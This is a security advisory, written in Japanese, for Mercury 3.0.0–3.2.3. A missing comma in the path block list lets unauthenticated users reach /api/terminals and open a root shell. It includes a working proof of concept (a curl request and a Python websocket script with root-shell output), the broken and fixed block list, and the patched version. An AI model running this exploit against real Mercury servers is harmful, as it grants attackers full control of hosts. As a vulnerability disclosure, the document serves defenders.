Mercury: /api/terminalsにおける認証なしのリモートコード実行の脆弱性 - アクセス制御の回避
### 概要
`mercury_app/block_handler.py`の`BLOCKED_PATTERNS`リストにおけるコンマの欠落により、`/api/terminals`エンドポイントがブロックリストの対象外となっていました。その結果、認証されていない攻撃者が、Mercuryを実行しているホスト上で、フルインタラクティブなOSレベルのシェルを起動することが可能になります。
### 詳細
`mercury_app/block_handler.py`に定義されているブロックリストは以下の通りです。
```
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
```
1行目と2行目の間のコンマが欠落しているため、Pythonはこれらのルールを結合し、実際にブロックされるリストは以下のようになります。
/lab...(?:/.`*`)?/api/terminals(?:/.`*`)? (1行目と2行目が結合)
/api/shutdown(?:/.`*`)?
/files(?:/.`*`)?
`/api/terminals`への直接的なリクエストは、3つのブロックリストのいずれにも一致しないため、**ブロックされず**、Jupyter
Serverの組み込みターミナルAPIに到達します。これにより、WebSocket接続を通じてアクセス可能な実際のOSシェルが起動されます。Mercuryへの認証、アカウント、セッション、または既存のアクセス権は必要ありません。
### 実証
ローカルのDocker環境(https://runmercury.com/deploy/dockerfile/)でテストを実施しました。Mercuryのバージョンは3.2.3、デフォルト設定です。
**ステップ1 - ターミナルの起動:**
```
curl -i -X POST http://localhost:8888/api/terminals
```
レスポンス: `{"name": "1", "last_activity": "..."}`
**ステップ2 - ターミナルへの接続とコマンドの実行:**
```
python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
while True:
print(ws.recv())
except Exception:
pass
"
```
出力結果:
```
["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]
```
認証や事前のアクセス権限なしで、完全なインタラクティブなrootシェルへのアクセスが確認されました。
### 影響
- **機密性:** Mercuryプロセスがアクセスできるファイル(ノートブック、アップロードされたデータ、環境変数、シークレットなど)への完全な読み取りアクセスが可能。
- **完全性:** 攻撃者は、他のユーザーに提供されるノートブックを含む、任意のファイルを変更または削除できる。
- **可用性:** 攻撃者は、サーバー/コンテナを停止またはクラッシュさせることができる。
- **水平展開:** このシェルは、ホストのネットワークからアクセス可能な他のシステムを攻撃するための足がかりとして使用できる。
この脆弱性は、Mercuryサーバーにアクセスできるすべてのネットワーククライアントによって悪用される可能性があります。追加のアクセス制御(VPN、リバースプロキシ認証、ファイアウォール)が実装されていない場合、インターネット全体から攻撃される可能性があります。
### 修正
欠けているコンマを追加して、`/api/terminals`を独立したブロックリストのルールにします。
```
BLOCKED_PATTERNS = [
# JupyterLab UI + API
r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
r"/api/terminals(?:/.*)?",
r"/api/shutdown(?:/.*)?",
r"/files(?:/.*)?",
]
```
影響を受けるパッケージ:
- pip (Python) mercury: 影響あり >= 3.0.0, <= 3.2.3、3.2.4で修正済み。
```